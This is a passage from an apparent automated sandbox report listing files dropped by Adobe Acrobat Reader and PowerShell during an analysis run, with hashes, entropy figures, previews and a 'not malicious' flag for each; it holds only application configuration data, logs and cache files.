SHA-256:	C4C309B957ECF92FA1ACC5ED2E52917C903E5B816A2139C1E1CDE91A745DB294
SHA-512:	C173B81E625D097A2ACF18DA43CD7DC3B73CBD923C982BCAF372F80B4DE39C28BD2D744C3AE0A3D29208FF673EC9BBEE05F84B7671C07AA94682E696E92FD471
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.302225960731608
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJf+dPeUkwRe9:YvXKXBkKE6HZZBG28Ukee9
MD5:	E3BE7CF9F781A4A4868772AEAC417657
SHA1:	8A7096170A2463B2CE38E14436CC6EDB26F1F025
SHA-256:	86A71CB938519AAECA07F862840272E43390CDD9AD5ABF07BE8F05ADEED0D718
SHA-512:	FF9251F6232EED221167EE570288D21B855D07812CE4F811F17EE3A5047EF263AC988871AA90F980707CF567AE80DDB99C4AC980583ADC857375BCCD9224CD68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.299333582093385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJfbPtdPeUkwRe9:YvXKXBkKE6HZZBGDV8Ukee9
MD5:	33FE11BF40700093D79D648EBDE5EB9D
SHA1:	0F2D3B75C05CAC333C7045D3239779B03B82883E
SHA-256:	2155B4EE7E9F9C03746819BE2F53876F5527B2D4D300342C8E941473A4E677DA
SHA-512:	ED77B078759D5EE0586916E574C8E7AE0E89AF30AE1008592A10C812AE3CB956B2C51AAC2F860EE1A12291DFCC14D7CEF4C11361F626B42A92AB1F2CC017BFC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298596552023133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJf21rPeUkwRe9:YvXKXBkKE6HZZBG+16Ukee9
MD5:	6249255C9A80CE2BA278EB0BE50E7F99
SHA1:	6E39D4DFC39B4F93E80F9DBC314E78FDE75904D3
SHA-256:	1637142A5E80DC79123C3A481439718253EDAB4DABBF1E565B1F6DFBDD95A118
SHA-512:	0A7671054F53335FD5661A3C4E8CD05E4CE8E4ACB37B56AABAAFB26462021E14547A7A9D035B65460CEE2C2E4373169D93D0DF67E54A5F8516B4EBCAB43EC1EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661910350309409
Encrypted:	false
SSDEEP:	24:Yv6XBNE6HZMamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSG:YvEC8ZqBgkDMUJUAh8cvMG
MD5:	11C698ADCCD14106C9AA8259638712F1
SHA1:	0E6F84C38B08EC0D8D1B73645D77BC0F951FCD1B
SHA-256:	B17AD8B7F9D0D41E189D0BB648476F1BD2D829D8AA047289150D60745E018066
SHA-512:	0540729E292863BE95288114B8FE52CFD334B388CFA7105DBEE52B36FD0CFF05E4A1A1F46D44F2FD5399394E6BFF7A0DCDF5CEB8DFAD4D957395BA2EA74FF216
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.271272305984208
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJfshHHrPeUkwRe9:YvXKXBkKE6HZZBGUUUkee9
MD5:	419D0D6B4E0101F00B5B5E789BFD7B19
SHA1:	3C5598C6F88AD096E847A971722E25AF8B0D4E34
SHA-256:	AC0869EAF94B283F766BCDD973E83500FC877FEE45DAA012354A2C2FBC698DC6
SHA-512:	D739332B40D9A322F3FB19EBA6E5E9BE94853DB7769044059BF1C462A9852EFF953C58044255C4F17BE24C142D2C1E1B39FD55303064809171614D5D0AEE4CB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.286808896291691
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJTqgFCrPeUkwRe9:YvXKXBkKE6HZZBGTq16Ukee9
MD5:	3053F2E766540C91EF9A06A2D5526C70
SHA1:	A84FABA42E4D6A967F4642A804FEBC888092BBF4
SHA-256:	C8E0F2596B0B206F59C3841CA345D1271610CE23123ADA5D665E55F152AEDF44
SHA-512:	36AC56071368AA48A14C1B9AE8A54743ACC69E7D0B08080B0FAEE75A3F4201A44DA71BCA94939E58070AC0F8078F97462A5B23C43C5D4FDC56E2F6EFDF882420
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1428144025930225
Encrypted:	false
SSDEEP:	24:YpxUaZnmk3ayVFQwOzTn744EWkEjTQfj0S0uY2ggN2LSGCtHDcmnYP5+9wWuhOG:YtntVwzTn74aJTQrc8AoHD1nE09c
MD5:	857CF2342BA89E90FB782365F605721A
SHA1:	4C0E82FA334EDCAC3AB4458AD213E2435DDE9AC0
SHA-256:	E46142BAC53FD5B77E4C40A61BF709B4B78DADA652481731215C458E4F169A03
SHA-512:	6719F1531759E7A6DE34C62F92F13FB37D751D7E78C9369A230605F79CDD318FFAC99FD2C4CE4EB82F32826D5D8723B6D6B64EB29AF43C6A66C4BB33E75D546B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c4b377e154600dbdfff2444d7c42935c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736545910000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ca0857156f9e77f03664f19619eed065","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736545910000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d1e16b2f3695b0dd04136edad1f797a0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736545910000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3681f0d42b34f29ace3b801186e4822a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736545910000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"4365bb5e8ac286cdb6de66fc90483824","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736545910000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0e40bf6f6388567061ae280b4acce12c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3651294466315627
Encrypted:	false
SSDEEP:	48:Tll2GL7msMF6gU9rtPth0Ob1lSvp2MUKNsi:fVmsMF6v9rtPth0Ob1l0gOV
MD5:	3DFFE70C7CB26D2757FF6794A2F7DDAA
SHA1:	1CDF9CB9460D5ADE81FCE1D0145440154594F5B9
SHA-256:	8C108783A2AE69F91682AFE1C0E5DE05B5135F46DAD955095A0031B9F175D55F
SHA-512:	0FFD7AA94E4DF0EE6CB5B75CE7E46C2FC3A7304B099901FF9742DAE1EA201152C99FD63D6129C4A516E898BA2B1A719FE16A49AE039C241445EE089AE7FD3186
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.838937795973836
Encrypted:	false
SSDEEP:	48:7MzF6gU9rtPth0Ob1lSvp2M5KNqPqGufl2GL7msr:7mF6v9rtPth0Ob1l0gzEPKNVmsr
MD5:	3ED9F61D493D9FF410501A9F6D9A0288
SHA1:	5D0C4D3088720DDCF76B001F49B3B165748A9245
SHA-256:	1583277059D3E75C3979C08824C8CAECDDF69F253309D69F6FC9617C8F17A6A5
SHA-512:	DCA5D42AEC6E675CD4DCF4AB79843C905F8D0E5484271E93492DEC9328DF0D4465843924FFED3719B515C947D8BBEB7BD6E5D920ADB5B1DEC6D293CA85C6BAC6
Malicious:	false
Preview:	.... .c.....%7.b..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgqZ8HALREFkaZ5qoW2akYNPCYyu:6a6TZ44ADEqZ8gLREeaC9CK
MD5:	33686F530B5B9E96D7ECDD851B2A2C1E
SHA1:	4AB42F0AB8589ED427B3F27F4D063CFC185C4320
SHA-256:	844716BB898EAF33DA415012AAD77A60BFF0CAFD6A9D294A03A45FA5B676A8DC
SHA-512:	9936B9B8431F5075563CE99FD047EE6F96F66FD5333C673F2A88871DA78D13CE7E221DFE9BD1108D06CF00BDBA77BB4265FBFA6FA6C0FDB553BC3F5F895FF67E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI790cf.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493700856943585
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNeWH:Qw946cPbiOxDlbYnuRK+bDrNes
MD5:	034F442D1D5448DA0162DC6A5C15825F
SHA1:	C6A4A411EF1CCD7693DA6AD04AA3D3A3BE09BFA5
SHA-256:	25B105097399EB3741D4DFCBF6AFAFA4A641D42D605884697A7BE21B44C90180
SHA-512:	B7A0EB577412056A4A34AA7AB61728455AFEE7FE0D7D7416B9EA8824E9A46701894F0E081B894F6AC7FB6E2FA5D89B2D204692F9AA8B9D7B8578487F8E81B6FD
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.5.1.:.5.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2rug5xrx.o50.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vc5su4oc.yqh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-51-45-958.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.325555449275219
Encrypted:	false
SSDEEP:	384:JekpMW7ujsO+Z3k/V1WPGHEQRmpvtV7C36g2OwfBhBUtBX66p0o6V6xG4W7wtNF2:nO2
MD5:	39628FA3AE1A78F558A4947A4847C830
SHA1:	083A80F18FBEA378E9944FF9B6B74FE68CD56D92
SHA-256:	E634D52BBCA86894E6CF9CA673A8FA4035AD705990F27198651E88F969FE73AC
SHA-512:	F488D486C5DA8E071B212070005D5F91E4D06CD8D6E65BBBA1D8D5CE9FE929C8935841A93180297EE8B4F50069F06455850DAFAB1525B2F33797248BEDBF0A69
Malicious:	false
Preview:	SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:278+0200 ThreadID=5108 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ee10203f-55ea-443a-a3fb-eaf6336a26b5.1696508793278 Timestamp=2023-10-05T14:26:33:279+0200 ThreadID=5108 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.358573156738999
Encrypted:	false
SSDEEP:	384:XqE3M2VLe8tDMy5nCCqJTHtW73gFP/26LaJ4USPj004nyIq9V3iej/2/GX9f4S74:zx+M
MD5:	D849001712B3E6290BDC8B6264F41471
SHA1:	3715E012E3F41DBF23E0DC2602D476BDBF9C7F31
SHA-256:	383AFD17C68D31647A6AFFADF60D63714E4B4B5522850769AA570FD885E4DED5
SHA-512:	24EE62989038CAAFBBECF2A44E5F9A633E5139133874FB8F04BD8C6960612B23E1DD35E97329BF4BFE496D143D305CA7EF657D5F244E6935EF3144B2F191A82A
Malicious:	false
Preview:	SessionID=e4f318bb-4145-4cd0-b614-ef9998fe2a15.1736545905988 Timestamp=2025-01-10T16:51:45:988-0500 ThreadID=3728 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e4f318bb-4145-4cd0-b614-ef9998fe2a15.1736545905988 Timestamp=2025-01-10T16:51:46:020-0500 ThreadID=3728 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e4f318bb-4145-4cd0-b614-ef9998fe2a15.1736545905988 Timestamp=2025-01-10T16:51:46:020-0500 ThreadID=3728 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e4f318bb-4145-4cd0-b614-ef9998fe2a15.1736545905988 Timestamp=2025-01-10T16:51:46:020-0500 ThreadID=3728 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e4f318bb-4145-4cd0-b614-ef9998fe2a15.1736545905988 Timestamp=2025-01-10T16:51:46:020-0500 ThreadID=3728 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403517878944346
Encrypted:	false
SSDEEP:	768:SllhexEhcIWcsRoUh39w7P/t8k+yyUXhSgHra5k:SllhexEhcIWcsRoUh39w7P/t8k+yyUX7
MD5:	5A009DB5702D0812BC0471EF92AA8B70
SHA1:	929CCD4C512E48546BE260376554C50FC5A5D2A8
SHA-256:	5C8A14B4B586F77C3D4FD353C6EDAD6B1B2178A44F2482661527FA7FB786587A
SHA-512:	DBB094E20D2A206BC9F37C103B88C7337388C1F9418DB4F53FFF3EAA3B08B48EFC2EEE9EF5CCCDEE8A4DBE60FFA269B4D5786B0A783E59E48CAEE22DA481C536
Malicious:	false
Preview:	05-10-2023 02:07:19:.---2---..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 02:07:19:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 02:07:19:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0e3469f3-7bfc-4e2d-a2b2-096fa4c4c5c6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/x3+wYIGNPtdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:JuwZGD3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	D5B2ADB5B56C84790D80E92B1BBD957D
SHA1:	3C8D315DC6803D425CB4B0D3DCBC5C62A47F9496
SHA-256:	FD99FCB91D4EE8BC232189B8B396DCD785150EFEDFC2B528CD53C0F468809740
SHA-512:	F4B00E14B7B5BFEBEC8A8DE3DB497F6BE10E2D4504C21DB03894C4686ECD5458210AC4589DD49357A3A6CC5216F086181189F87B279C85589E27E1B5D7F5733B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\37953e4c-5fff-4ceb-b4d1-56bccddd0d27.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
